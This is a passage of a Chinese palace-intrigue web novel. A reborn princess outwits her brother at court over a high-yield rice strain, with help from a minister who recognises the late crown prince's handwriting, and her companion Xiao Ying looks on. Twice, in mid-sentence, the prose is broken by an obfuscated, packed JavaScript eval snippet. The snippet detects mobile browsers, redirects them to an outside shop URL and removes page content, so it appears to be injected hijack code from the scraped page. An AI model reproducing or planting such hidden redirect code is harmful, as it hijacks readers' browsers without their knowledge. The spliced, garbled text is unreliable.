文武百官列队进殿站稳,雍和帝亦紧随其后入殿,坐在龙椅上,朝会开始。 温元钦手持笏板,率先迈出一步道:“父皇,儿臣今日带来了超级稻种产出的大米。” “呈上来瞧瞧。”雍和帝开口,温元钦挥手,有内侍抬着一袋大米入内。李公公亲自下去取了一瓢拿给雍和帝看。 “米香纯正、颗粒饱满,香气四溢,的确不错。”雍和帝夸赞道。 皇帝都开口了,底下有上道的官员顺着雍和帝的话道:“臣以为四殿下研制出这等超级稻种,该在全国推种,以全面提高百姓的粮食产量,这是利国利民的大好事。” 一堆官员站出来道:“臣附议。” 雍和帝将视线望向了殿外,善于察言观色的李公公便小声提醒道:“长公主殿下依旧未来。” 雍和帝沉吟了片刻,看向掌管财政的户部尚书,道:“上官爱卿你怎么看。” 眼睛小经常被误以为阖着眼、打瞌睡的上官兴,踏出行列一步,道:“禀陛下,老臣反对。” —— “知知!” 靠近栖鸾宫的宫道外,满身疲惫的温吟知正步履匆忙地赶回宫。忽而一道惊喜、明悦、熟悉欢快的声音从远处传来。 她循声抬眼望去,栖鸾宫的屋檐上正坐着一笑容明媚的少年,以及一只身上披着小毛毯的长毛三花猫。 此时天刚微亮,薄雾尚未散去,大地朦朦胧胧的。他的身后墨蓝色沉重的天空正一点点变化,橘黄色的光穿过重重云层而来,铺满漫天绚丽朝霞。 “知知你终于回来了。”清风拂过少年的笑容,满心满眼里都是见到她的欢喜。 温吟知愣怔在原地。 她很久没有在这个等级森严、死气沉沉的皇宫里,看到明媚似骄阳、朝气蓬勃的生命力了。 少年向她挥舞着手,温吟知听见他直白热忱关心:“一切可还顺利?” 漂亮的、披着小毛毯的长毛三花猫也好奇地歪头看她。 这明明是早晨清凉的微风,却吹得她恍惚间混沌起来—— 他们莫不是在这屋檐上守了一夜……只为了能早点见她平安归来? 她很久很久,没有听到朋友再喊她一声‘知知’了。 旭日已升,薄雾已散。 “顺利。”她仰起头凝视着他,这一日一夜连轴奔波的疲惫,在这一刻全都烟消云散。 她发自内心的笑弯了眼:“我回来换身干净得体的衣裳,等候父皇的召唤。” “你呢?为何要不顾宫规爬这宫檐,就不怕巡逻的侍卫将你当成探子抓起来?” 肖赢却偏过头答非所问:“你看。” 温吟知顺着肖赢的目光看去,瑰丽的朝霞早已布满天空。渐变色的层次感和光与影的完美交叠,是大自然无法复刻、独一无二的杰出作品。 “公主,今日要穿哪套衣裳?戴哪套头面?” “公主,早膳已经备好了,打算何时用膳?” “公主自然是要先用膳再换衣裳,万一用膳弄脏了衣裳那不是白换。” 忙碌的宫女们你一言我一语地询问着温吟知的意见,在这喧闹的话语声中,温吟知却清楚地听见肖赢心之向往的感慨。 他眺望着远方,身子放松地往后微仰道:“日出真美。” 金色的光落柔和地在他身上,温吟知看着他,她亦感慨道:“是呀日出真美。” 日出的美在于它渡过漫长黑暗的等待,破晓而出的生命力。 “美,日出很美。但是日出哪天不能看!”春雪着急地一把拽过温吟知的手,将她往屋里带去:“公主快些更衣用早膳吧,等会便要来不及了!” 温吟知颔首,随手一指红色牡丹宫裙:“今日就穿这套吧。” 春雪如释重负,捧着衣裳随温吟知去屏风后更换衣裳。此时肖赢已经抱着思家从宫檐上下来,他踏入正屋时,温吟知也刚好从屏风后换好衣服出来。 她今日特地选了一套华丽端庄却并不繁琐的裙子,因此更衣并不需要花费多少时间。 春雪要重新为温吟知梳妆打扮,趁着这档子空隙,肖赢好奇地问:“公主是怎么做到的。” 昨日他醒来便问过她的踪迹,春雪只告诉他昨夜公主守了他一夜,一大清早请了李太医为他看病后便出门去了。他知道公主必然是去解决她当前的困境去了。 他在栖鸾宫守了一日,直到宫门下锁了也依旧未见她归来。 春雪告知他:“肖公子,您早些休息。公主出宫去了,今夜不会回来的。” 肖赢看着春雪眉间的愁色,入夜辗转反侧之时,瞧见了蹲在宫门屋檐上威风凛凛的思家。它一双会发光的眼睛,在黑暗中明亮如炬。 肖赢取来独属于它的小毛毯,向春雪借了一把梯子也爬上宫檐处,轻轻为思家盖上它的毯子。大约是因为春雪提前打过招呼,他没有被当成探子抓起来。 但夜很黑,风很凉,不知她是否一切顺利。 他此生身份低微,无力助她得偿所愿。那他唯一能做的,便是陪伴。 亦如后世,她作为粉丝默默守护他的那些年一般。 思家夜里不睡,一动不动地站在屋檐那眺望了几个时辰。 她的猫爱她,他对萤火虫的爱也不输于她的猫。 春雪的手飞速在温吟知的发丝间穿梭,温吟知认真挑选着首饰,道:“此事,还得从昨日清晨说起。” 昨日清晨她传来李太医为肖赢把脉时,她正在写一封参温元钦的奏折和一封给户部尚书上官大人的信。 奏折她随身携带着,这封信却要避开温元钦的耳目顺利送到户部尚书手中。她将这个重任交给了春雪,昨日一早她出门后便与春雪兵分两路。她去金銮殿,春雪去了神武门。 春雪得提前知道户部尚书的马车,好让思家成功将信送到。 被念到名字的思家喵喵叫两声,像是在说‘到我说了到我说了’。 春雪用干草编织了一个圆形小球,将信藏在小球里,明面上丢给思家玩,实际上却是让它将信传递出去。昨日春雪确认了户部尚书的马车后,便故意路过马车旁掉落一条小鱼干,告诉躲在暗处、嘴里叼着球、鬼鬼祟祟的思家这是目标。 “所以春雪姑娘只是为了降低敌人防备心的障眼法。”肖赢总结道。 温吟知颔首,又听见肖赢好奇地问:“户部尚书是公主的人吗?” 温吟知迟疑了一会,摇头:“不是。” 肖赢若有所思道:“既然不是公主的人,公主信上写了什么,才能说服户部尚书相帮。” 温吟知沉默了,像是触及到了什么伤心事。过了一会后,她方才缓缓道来:“因为户部尚书是太子哥哥的人。” —— 金銮殿上,雍和帝用着深沉的嗓音问:“上官爱卿你为何反对推广这超级稻种。” 户部尚书上官兴深吸一口气,想起昨日下朝欲归府时,一掀开马车门帘看见的一只叼着球的三花猫。 上官大人认出这是长公主养的猫,三花猫将草球推给他。 上官大人:“我不玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383457|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 三花猫立即喵喵叫了好多句,听起来不太好听。 上官大人不明白它为何如此,三花猫更生气了。这会直接用爪子和牙齿当着他的面撕毁草球直至露出里面的信,上官大人这才懂三花猫的用意。 他捡起信,一映入眼帘看见那熟悉的字体,立即泪流满面,泣不成声。 为人师二十载,再见余迹,已是天人永隔。 天妒英才啊! 上官大人忍不住再在心里惋惜一句,待他从回忆中走出,再抬起眼时,浑浊的眼中已是一片清明。 “禀陛下,臣作为户部尚书,掌管朝廷的粮食税收情况。这些年来,户部发现有一个地方的粮食产量连年都在提升。” 雍朝的税收政策是朝廷会统计每年的收成情况,老百姓交够朝廷的征额,剩下的余粮便是自己的。 雍和帝来了兴致:“哦?是哪个地方。” 他说罢还朝温元钦的方向深深看了几眼:“莫不是元钦管辖的地方吧,他的稻田能产四石的稻子,必然每年的粮食产量都会在提升。” 温元钦忐忑地抬头望了龙椅上的雍和帝一眼,父皇此话是何意? 上官兴没理会雍和帝的问话,卖着关子继续说道:“这个地方的家主提出了一套‘精准扶贫’的法子,将这个地方吃不上饭又没田的贫苦百姓聚集在一起替家主种田。” “家主提供土地和稻种,每年的收成归这群人。他们需要详细记录下稻子的情况,即使他们不识字,家主也要让他们转述给家主派来的人记录。” “陛下知晓这为何意吗?”上官大人反问,金銮殿上鸦雀无声,都在思考着户部尚书提出的问题。 雍和帝颇感兴趣地示意对方继续:“爱卿继续说,朕十分好奇。” “这样做的目的是为了样本的采集,并不是追求产量。这稻种便是样本,这位家主的用意是想用大量的实践证明研究出来的稻种,能在不同的环境土壤气候下生长情况,以便来年的稻种改善。” “于是在这位家主种植方法的带领下,这群人地里的粮食收成就越来越好,吃不完的粮食。”上官大人故意停顿了一下:“会倒卖去别的地方换银钱。” 雍和帝听户部尚书说了这么多,心存疑虑:“爱卿此话都当真?这位家主倒是个扶贫爱民的好家主,如此不计成本帮助贫民百姓。” 户部尚书不疾不徐道:“陛下若不信,老臣手上有人证物证。人证就在宫外候着,陛下若好奇亦可宣他们入宫觐见。” “好,那就宣。”雍和帝一口应道,像是等待此刻许久了。 皇帝开了口,立马便有内侍去宫外接人。全场听下来的温元钦越想越不对劲,他总觉得父皇和户部尚书两人之间的对话像是在一唱一和。 这天下难道还有第二人能研制出这超级稻种吗?这人不就是来抢他功劳的吗? 倏地一瞬间他脑子终于反应过来,哪里来得第二人能研制出超级稻种,哪里这般巧又跑出来的人证物证…… 必然是他那个好妹妹的手笔! 不过人证不是早已被他所杀了吗?物证他也拿到手了! 温元钦上前一步道:“父皇,儿臣手上也有这几年的种植记载。” 雍和帝颔首:“嗯,那便一块呈上来瞧瞧。” 温元钦稳了稳心神,还好他早有准备,他从袖中递交一本书册给李公公,由他交给雍和帝。雍和帝看了不到一盏茶的功夫,户部尚书的人证连带着物证两箱子书册一块上朝觐见。 证人只有一人,物证却足足有两箱子书册。 温元钦回过头瞧见证人施毅时,二人眼神交锋而过。 温元钦心道:他不是……不是浓浓身边的人吗? 他是人证,他怎么没死! 28. 我骗了他 “在这皇宫里,小到每一处砖每一处瓦都有属于它们的记载。”温吟知透过铜镜去看镜中的自己,一双平静的眼中有着不属于十六岁的淡然。 “大到每一个人在这皇宫里做了什么事,都逃不开躲藏在暗处的眼。” 这些眼不单单属于父皇母后、后宫朝堂各方势力,还属于每个人的私心。就连她的栖鸾宫,温吟知也无法保证纯粹的干净。 春雪已经为温吟知梳妆完毕,她悄摸退了去,外头喧闹的说话声也立即静顿了。 春雪这是将独处的空间留给了二人。 肖赢听懂了温吟知这两句没头没尾的话语是为何意。 肖赢虽然是爱豆出身,但后面也半转行的演了好几年的戏。算上上辈子戛然而止的生命,他也算是演了一辈子的戏。他的戏台子是是各种剧本角色人生,而温吟知的戏台子是皇宫,角色是她自己。 他可以有很多种选择,她没有选择,她只有自己。 温吟知想,不出意外的话,此刻她的证人已经出现在金銮殿上了。 “我知晓我的一举一动必然是被四哥哥的人监视着,于是我便故意派人去接我的证人。” 温吟知说完这句话后,肖赢留意到她的视线有那么几秒钟,在自个的双手处停顿了一会。他什么都没说,静静听着她说着事情的经过。 “我的证人并不是我真正的证人,他们身份尊贵犯了事为了逃避惩罚,一直躲在我的封地上。我利用了他们,在那个时候派人去接了他们。” “四哥哥以为他们就是我的证人,夺取了我假造的记载稻种生长情况的册子,并将人给杀了。” 她指尖微缩,语气平淡却难掩心中的云起风涌。 肖赢终于明了她方才低头瞧自己双手那一眼是如何回事。 生活在和平年代、法制社会的现代人,无论在古代侵染多久当地的教育文化,一个人的底色是不会变得。温吟知就是温吟知,不会因为她是公主,她身份的转变就将最初的那颗心抛掉。 肖赢能够感觉到她的内心并不如表面上那般平静,他的心亦是。 她所说的每一个字每一句话都深深嵌入他的脑海里,像是会自动为他构建出一幅看不清的画面。明明他的脑海里没有记忆,却感同身受过经历过她所说的一切。 恍惚间他看见了满手鲜血的自己正站在他的对面,满身伤痕,一身冰霜。 他晃了晃头,什么都没来得及说,仿佛只是他方才的幻觉般,眼前只有她静静地坐在他身侧,轻声细语叙说着后续的故事。 “我的证人很多。”温吟知语气里莫名多了一丝自豪,她仿造现代‘精准扶贫’的法子,将那些困苦的老百姓接来种地。温元钦要是想灭口她的证人,那可不容易。 “但为了安全起见,我还是拜托了户部尚书上官大人前去替我接人。” 上官大人是局外人,温元钦是绝对想不到她会请上官大人帮忙。 “上官大人是太子哥哥的启蒙老师,太子哥哥是上官大人最得意的门生。上官大人见着思家送去的那封信,必然会帮我这个忙。因为我的启蒙老师,是太子哥哥。”温吟知一提到已故的太子哥哥,整个人都蒙上一层灰暗的颜色。 “我的字迹早在上一世就已定格。但自幼便跟随太子哥哥习字,因此也能仿太子哥哥的字迹。” 试问一恩师再见已故得意门生字迹,他会作何感想?他会拒绝这‘字迹’主人的要求吗? 温吟知这是将人心算到了极致,她料想上官大人必然不会拒绝她,必然会亲自去接人。只要他去了,见着了那一片片金灿灿的稻田,见着了她所交代的人…… 那么他必然会见到那‘字迹’真正的主人。 —— “陛下!” 金銮殿内,上官大人哀嚎一声,从两大箱子里随手取出一本‘证据’,然后倏地跪下。 上官大人却虔诚地双手呈上那记载着稻子的书册,内侍很有眼见地接收到雍和帝的眼色,取走上官大人手上的书册呈给雍和帝。 雍和帝打开一看,握着书册的手颤抖,石化在原地。 此时上官大人缓缓抬起头,露出他一张布满皱纹的脸,泪花在他眼中闪烁:“陛下可还记得大明宫里已故的景明太子吗?” 群臣哗然。 太子一死是雍和帝心病,是不能提及的伤痛,是雍和帝为了逃避太子一死,追求长生的三年里的自我麻痹。 竟然有人胆敢在金銮殿,当着雍和帝的面质问他是否还记得大明宫里已故的景明太子。 再次听到哥哥的名讳,温元钦脸色难看。 上官大人似乎已经将生死抛之度外,继续在雍和帝的雷区蹦跶。他哽咽道:“这书册上的每一个字,可都是景明太子亲迹啊!” 雍和帝手上的书册蓦的从手上摔落,哐当一声,在偌大的金銮殿上听得一清二楚。群臣以为雍和帝发怒,默声齐刷刷跪倒一片。 只有站在雍和帝身侧的李圆德知晓,在众人下跪那一刻,坐在龙椅上的老皇帝是如何小心翼翼地捧起那失手落地的宝贝。 上官兴从来没有想到,自己还能再见到得意门生的余迹。当他去往晋县见到证人施毅,拿出永宁殿下写给他的那封信时。 施毅说:“公主殿下交代过,只要大人手持书信前来,便将一物交给大人。” 施毅挥手,立即就有人抬着两大箱子出现在他的眼前。随即施毅打开箱子,取走最上面一本,交给上官兴。 上官兴随手翻开一看,熟悉的字迹映入眼帘,那上头写着:“雍和十五年七月十二日,晋县水稻已孕穗,附图所示……” 上官兴一页页翻过去,虽整本并未是景明太子字迹,但也有不少是他所誊写。 他震惊得口齿不清:“这这这……” 替温吟知管理晋县水稻的施毅解释:“这是太子同公主殿下所作,每年太子殿下都会扮作长公主殿下随行的侍卫,前来小住几日。” 上官兴脑海里立即想通,为何太子殿下总有几日总要出宫避暑,均不见客。 原来是来了此处。 施毅继续完成温吟知所托:“公主殿下有句话让草民转述给大人,公主殿下说该如何选择全凭大人做主,她相信大人。” 回忆到此为止,混迹官场这么多年的上官兴如何不明白,这是公主设计了一个局,将他一步步引至她的棋盘中。 但他心甘情愿以身入局,替他已死的得意门生正名。 满朝文武只有上官兴没跪,他收起心中那些喧嚣的情绪,问高座明堂的雍和帝:“陛下已阅,必然所晓这书册是何人所撰。” 捡起书册,僵硬坐在皇位上的雍和帝深吸了一口气,垂眸看向底下乌泱泱跪倒的众人,道:“朕已知晓,众位爱卿都去亲眼瞧瞧这两大箱子书册。” 雍和帝发话,底下官员哪有不从。身穿紫色、红色的官员先从地上爬起来,颜晚周一直都在朝堂内,他旁观了全程。 他同其父一块随手拿起一本书册, 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施毅进殿都未得雍和帝问话,他瞧见正摆在中间的稻米,疑惑地说了句:“呓?这不是我们晋县卖出去的稻米吗?怎么会在此。” 朝廷乍然,在场的官员掀起一阵小小的讨论: “这是四殿下带来的稻米,这家主莫不是四殿下?” “那人证都不识得四殿下,二人手中的物证都不一样,难说这家主是四殿下。” 剩下的话不言自喻,众人心中已有计量。 温元钦听着四周的讨论,以及众人落在他身上探究怀疑的目光,更觉得如芒在背,冷汗狂流,整个人掉入冰窟中。 时机已到,上官兴上前一步,手持笏板郑重道:“陛下想见见这位城主吗?” 此话一出,众官员归位,等候雍和帝发话。温元钦捧着册子,眼中满是不甘。 雍和帝合上书册,抬眼看向金銮殿外的远方,道:“李圆德。” 雍和帝身边第一内侍李圆德躬身道:“奴才在。” 雍和帝正声道:“去宣永宁进殿。” 群臣再次哗然。 “宣城主就宣城主,为何要宣六公主入殿?” “陛下,金銮殿是朝堂议事处,自古以来就无女子入殿觐见的先例。” “公主殿下——不能入内!” —— “我骗了他。”温吟知还在同肖赢讲故事。 “昨日我从金銮殿出来听到证人被杀时,从这里开始我就骗了四哥哥。我假装很愤怒伤心离宫去替已死的‘证人’找回公道,故意拖延时间未回宫去了公主府。” “我知晓我的公主府上有四哥哥安插的人,我必须得让他放松警惕,让他相信我没有法子了,只能认栽闷声吃下这个亏,才能给上官大人以及帮我研究超级水稻的人争取时间。所以我去了公主府。” “在这个等级,权利划分的时代,我不会拿大家的性命去冒险。”她害怕温元钦彻底疯了,为了消灭证人和证据直接屠村。 温吟知抬起头,对上肖赢担忧的眉眼,温和地扬起一明媚的笑容:“故事讲完了。” “不用担心,一切顺利。” “这一局,我必不会输。” 她安抚的笑容与话语,并未让肖赢的眉头松开。他启唇,似要说些什么。 门外却传来李公公的声音:“永宁殿下,陛下召您入金銮殿觐见。” 29. 迷途知返 李公公亲自送温吟知出的殿门,温元钦早在殿外几米处候着,等候雍和帝召见。 李公公瞧见温元钦,特地前去同温元钦说道:“四殿下久等了。劳烦殿下再等候一会,陛下换身衣裳再召见殿下。” 温元钦双手交于腹前,微颔首:“无碍,儿臣也是刚到,并未久等。” 李公公微微一笑,前去复命。 温吟知特地等二人说完,方才动身。她从温元钦对面走来,两人的眼神对视上,无言的争锋在空气中喧嚣。 擦肩而过时,温元钦忍不住抓住温吟知宽大的衣袖。她停在原地,折子顺势从她袖中掉落在地。 她微弯下腰想要将其拾起,却有人先她一步。 温元钦将折子捡起来递给她,她手指碰上折子那一刻,温元钦适时出声道:“小心。” 然后在她耳侧低声道:“下次可就没这么幸运,有人帮你了。” 一语双关的话,温吟知抬眸,正好瞧见他唇边漾着神秘莫测的笑容。温吟知手指使劲想拿回折子,但是温元钦并未松手。 她不由提醒道:“该收手了。” 温元钦双眸微眯,手也收回了力道,正打算放手时温吟知却松开了手。 她突然改变主意,不要这封奏折了。 她要换个玩法。 奏折到了温元钦手中,温吟知扫视过他,红唇微启:“这封奏折除了我,从未有人打开过它。” 温元钦比她高,但温吟知自下而上的扫视,却让温元钦感觉她的神情与语气都在说,今日她可是手下留情了。 可他有什么需要她手下留情的! 温吟知保持着高贵端庄的姿态,轻阖下眼睑,示意温元钦打开看看。 温元钦的唇抿成一条直线,不明就里地打开她的折子,霎时间头上阴云密布。 他的五指紧扣折子,也不管雍和帝的召见,拽着温吟知远离养心殿。 “放开!”温吟知生气地说道。 “行就这里说,就让父皇看见我们俩人争吵。”温元钦脚步顿住,松开紧抓她的手,同样怒火中烧。 一句话掐中了温吟知的软肋,这次不用他说,她主动往人迹甚少的偏殿走去。 温元钦在确认四下无人后,指着摊开的折子道:“那死去的人质是礼部尚书的侄子。你利用我杀了他,意图挑起哥哥与礼部侍郎的矛盾对吗?” “为了分解我的势力,浓浓你如今怎么变得如此蛇蝎心肠,借刀杀人这种恶毒的法子都能想出来。” “你真是太让哥哥失望了,再也不是小时候那个心地善良,想让天下百姓吃饱饭的浓浓!”温元钦痛心疾首,自嘲一笑,“如此歹毒,在你这里,我是你哥吗?我们之间可有半分亲情可言?” 温吟知制止他的恶人先告状:“不要忘记我们之间是谁先动的手!” “况且——”她降低了声量,道:“他死不足惜。” “他有何罪?”温元钦深吸一口气,再长长的呼出:“即使有罪,那也有大周的律法去制裁他,轮不到你脏手!” 他愤怒:“你瞧瞧你还有一点金枝玉叶的公主模样吗?为了陷害亲哥,为了权力,不顾王法杀人。” “太子哥哥若泉下有知,自己的妹妹是一位双手沾满双血,满肚子心计与算计的女子,你说他会不会气得从土里爬起来教训你。” 温吟知朝温元钦吼了一句:“够了,别说了!” “我已事先告诉你,我的下一步棋会出什么。该如何做,你自己选择。” 她闭上双眼,极力平复着自己的情绪:“这是最后一次,我对你手下留情。” “若你做不出令我满意的结果——”温吟知眸子缓缓睁开,看着温元钦不容置喙的说道:“我便会用我自己的方式替自己正名,以及那些死去的无辜人士正名。” 嗅到事情不同寻常的温元钦微眯起双眼:“你什么意思。” 温吟知不语,转身就走。 她已经将事情说得很明白,若是温元钦还不明白,也查不明白。那么她就更没有与他交谈的必要。 “你别走,说清楚。”温元钦不依不饶追上来。 温吟知回身正视着他,视线越过他的身后:“李公公在等你。” 温元钦回头,李圆德在不远处候着,见二人看过来便笑着做了个请的姿势。 温元钦不好继续缠着温吟知,压下满肚子疑问和怒火前往养心殿。他进殿熟练地跪下请安:“儿臣来迟了,请父皇责罚。” 雍和帝坐在软榻上,用着寻常的口吻说道:“元钦来了,免礼吧。” “是。”温元钦应下,起身。 雍和帝招呼他在一侧软榻上坐下,开口问道:“你不是早在外间候着吗?怎会来迟。” 温元钦面色不改地回答:“刚瞧见浓浓从殿内出来,便同浓浓闲聊了几句,一时间忘了时间,还望父皇责罚。” 雍和帝摆手:“无碍。” “你俩同宗同族,同流一脉血。兄妹感情好,父皇为何要责罚你。”雍和帝举起的手拍了拍温元钦的肩膀:“你是朕唯一的嫡子,浓浓会是你最好的帮手。” 温元钦藏在袖间的手指微屈,呆滞地楞在原地。 雍和帝并不着急说话,耐心地观察温元钦的反应。见他并无欢喜之色,呆滞之后是茫然的不知所措,方才开口继续道:“你可知父皇今日为何在朝堂上选择浓浓的稻种吗?” 温元钦静下来心思索,在内心一番斟酌后才将心里的答案说出:“因为浓浓的稻种比儿臣的产量高。” “对。”雍和帝点头,循循教诲:“要治理好一个国家,做每项决策前,都要站在对这个国家利益最大化的角度上去看问题。” “今日你看到朕为了浓浓无视老祖宗留下的规矩,是不是也觉得朕此举欠妥。”雍和帝浑浊的双眸隐隐暗藏锋芒:“可你看普天之下,有谁能代替浓浓推广这四五石稻种。那个施毅吗?” 很明显他是温吟知的人,一心只向着温吟知。 “他若是能独当一面,挑起这推广稻种的事,那便是直步青云的功绩。可他拒了。”雍和帝抿唇,目光灼灼地看向温元钦道:“你可知这意味着什么?” 意味着要么施毅真的没有掌握这培育四五石稻种的能力,浓浓将培育的秘方都掌握在自己手上。要么他对浓浓有着绝对的衷心,甘愿为浓浓铺路。想至此,温元钦不由后背冒出一层冷汗,脸色难看。 无论是那种都在说明浓浓的能力在他之上。 见温元钦面色不好,雍和帝点到为止,安抚着他道:“你也能种出四石稻种,父皇很欣慰。但治理国家一事,你还有许多要学。” 温元钦从软榻上起身,朝雍和帝行礼,真心实意说道:“儿子受教了。” 雍和帝向李公公招手,李公公递上一封奏折。雍和帝接过交到温元钦手中,在他打开的间隙,同他说道:“昨日大理寺收进一具死尸,大理寺已查明此人的身份,是礼部尚书的侄子。事关朝中重要官员家属,父皇将此事交于你,务必解决好。” 温元钦一听‘礼部尚书的侄子’几个字,脸上差点挂不住。人是他派人杀的,结果父皇和浓浓都将此事交给他查清。 对于皇室而言,杀一人并不是滔天大罪。即使礼部尚书知晓是他误杀,礼部尚书也是敢怒不敢言。思至此,温元钦稳了稳心神,接下这桩差事。 温元钦:“父皇放心,儿子必然会查明此案,还死者一个公道。” “嗯。父皇乏了,你且先去忙吧。”雍和帝下逐客令,温元钦行礼告退。 温元钦走后,雍和帝直接原地打坐,闭上眼睛忍不住在心里骂了句愚蠢二字。 这般浅显的东西还需要人教,他的景明和浓浓根本不需要人提点。 可是又能怎么办?他只有一个嫡子了。老十虽是庶子,但今年才三岁,能不能长大成人都未必。 雍和帝心痛又无力地锤着龙椅把守,他这个皇帝别无选择。 —— 温吟知与温元钦分开后,她顺着宫道一直往前走,直到遇见下朝后一直在等着她的施毅。 “公主殿下。”施毅行礼,温吟知颔首,两人自动往人少的地方走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401220|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待寻了一处偏僻的角落,温吟知问他:“一亩地能有五石稻子的流言在岭南广为流传,你可知是何人在暗中布局吗?” 施毅认真思索一番,再次确定无任何消息遗漏后,回答:“草民没有收到任何关于南边的信息,也许是公主想多了,真的只是巧合。” 温吟知还是觉得没那么简单,吩咐施毅:“去查查,特别去查一个叫肖郢的男子是否去过岭南。” “公主怀疑是此人在暗中相助?” “只是猜测,你先着手去查。” 施毅应下,又询问道:“督农司选址会在何处?” 温吟知:“礼部旁还有一处空院子,父皇有意让督农司建在此处。” 施毅:“公主今日可是要去看看?” 温吟知摆手:“不急,还不是时候。” 礼部尚书的侄子刚死,她今日刚被父皇授予官权,必有众多人不服,如今还不正式与礼部打交道的时候。 “但培育稻种的人都提前调度好,不管有没有督农司,我们都是与户部对接。”温吟知话音刚落,就听见一墙之隔外有小宫女在谈论着她。 “六公主真被陛下授封官职?” “这哪还能有假。未出阁便正大光明在栖鸾宫内养面首,你说六公主还有何事做不出来的?” 听到此话的温吟知笑了笑,朝施毅比了个嘘的手势,示意他不用在意,继续往前走即可。施毅欲言又止,最终还是沉默。 对于自己的心腹,温吟知向来有话直言,以防下属费心猜测。因此她接着上面未讲完的话说道:“今日我虽成功走进了金銮殿,也获得了官职。但这个结果,是有许多人不满的。” 施毅明白若是今日前去建立督农司,恐怕会遭受一番刁难,进展并不会顺利。但建立督农司迫在眉睫,如此拖着也不是办法。 温吟知像是知晓施毅在想什么般,给了他一个确切的答复:“不会让你们等太久,就这一两日时间内,必会解决。” 施毅悬着的心落下了一半,但他有一事十分不明白。 他询问着温吟知:“公主今日为何不参四殿下?” 此话一出,温吟知抬头,刺眼的光从头上照下来,明亮得让她睁不开双眸。她抬手遮去强烈的日光,微眯着眼答非所问道:“晌午了,该回宫了。” —— “赢了赢了!公主赢了!”栖鸾宫内,一小宫女欢快奔跑着,向众人诉说着喜悦。 “公主殿下不仅进了金銮殿,还被陛下授予了官职!” 一大群宫女叽叽喳喳地围上来:“真的吗!” “千真万确!陛下亲封公主为督农司司主,携户部共管这四石稻种一事。” “哎哎哎这么说女子也可以做官了吗?我会算账,我日后能帮公主管账。” “我力气大能干很多粗活,日后帮公主种田去。” “照你们这么说,我会挽箭,指不准我日后也能跟着公主上战场呢。” 栖鸾宫内顿时嬉笑一片,个个都争前恐后地诉说着自己的长处。 早就洞悉温吟知全部计划,在殿内插花的春雪没有听到关于四殿下的其他消息。她困惑地剪下一分叉长歪的枝叶,小声嘀咕道:“公主今日为何不参四殿下?” 这般风平浪静,必然是公主还未行动。 正在窗边画伞骨架图的肖赢抬眸,看向窗外一望无垠的高穹。许久他才淡淡出声道:“她在等他,迷途知返。” 春雪没听清,她问:“公子您在说什么呀。” 肖赢沉默不语,春雪便顺着他的目光看向窗外。寥天之中,那正有一群南飞的大雁。 “这群鸟有什么不同……吗?”春雪话说到一半,便瞧见皇后娘娘正皱着眉站在殿外,方才嬉笑的宫女们全都跪倒一片。 “公……公子。”春雪说话都有些哆嗦,“皇后娘娘来了。” 皇后入门时肖赢便已发现。 “瞧见了。”他起身顺手整理衣冠,宽慰她道:“莫慌,是寻我而来的。” 春雪:…… 就是寻您而来,我心才慌的呀。 30. 掌掴破碎 事情交代完毕后,温吟知在出宫与回栖鸾宫的宫道上与施毅分道扬镳。 她迫切地想早些回宫,与肖赢分享她今日的喜悦。 待到栖鸾宫时,发现大门紧闭。温吟知意识到不对劲,归途上的喜悦顿时消散了一半。 她推开门,一入内便发现她母后的人占据了整个院子。 有守门的小宫女前来回禀:“皇后娘娘的人封锁了整个栖鸾宫,不许奴婢们去向公主报信。” 温吟知心慌了一下:“肖公子呢?” 小宫女:“皇后娘娘把肖公子喊了去,没让奴婢们接近正殿。春雪姐姐在正殿里未曾出来。” 这几日发生了那么多事,想必她母后均已知晓。 兄妹相争,不守闺阁,行事出挑……温吟知越想这几日她的行径,越发觉得害怕。她母后裴氏出身第一世家裴氏,是个最讲究门第观念的人。 今日前来,恐怕来者不善。 她提着裙摆小跑入正殿。 裴氏皱眉看着她这般急切的模样,慢悠悠说道:“浓浓,你跑什么,何事这般急。” 温吟知环顾四周,殿内未曾瞧见肖赢的身影。春雪被母后留在身边,快速地向她眨眼,又小幅度摇头。 温吟知无法看懂春雪是要同她说肖赢有事还是无事,心不在焉地回复母后:“女儿渴了,因此急了些。” 自己养的女儿自己知晓,裴氏微不可微地轻笑一声:“你是渴了,还是着急寻人。” 被拆穿了,温吟知便也大方承认:“母后既然知晓,便不要再卖关子了。肖郢人在哪?” 裴氏吩咐着春雪:“你去替公主沏壶茶来。” “是。”春雪行礼,眼睁睁看着自己被支出去。 自此栖鸾宫殿内全是母后带来的人,也无人告知她肖郢在哪。 “母后。”她忍不住再问一次:“肖郢人在哪?” 温吟知话语里是毫不掩饰的担忧与急切,裴氏还是头一次见自己女儿这么在乎谁。裴氏招手欲唤她来身侧坐,却在对上她陌生的双眸时,手停在了半空中。 她的眼中有防备,对她这位母后有了防备之心。 裴氏心下一紧,纵观近来这些事,也许她从未真正了解过浓浓在想什么。 裴氏收回手,怅然道:“浓浓,你回头看看。” 温吟知回眸,有人逆光而来,庭芜绿轻纱飘逸地落在他身后。 他上了妆,雪肤乌发,眸含秋水,清波流转。 温吟知怔忡几秒,觉得眼前人恰似春日里那抹悄悄爬上枝头的新绿。 肖赢行礼,温声唤她:“公主。” 日光下流光溢彩的袖摆随他而动,他的一言一行均是上佳。裴氏坐在主座上静静地看着二人,并未出言打扰。 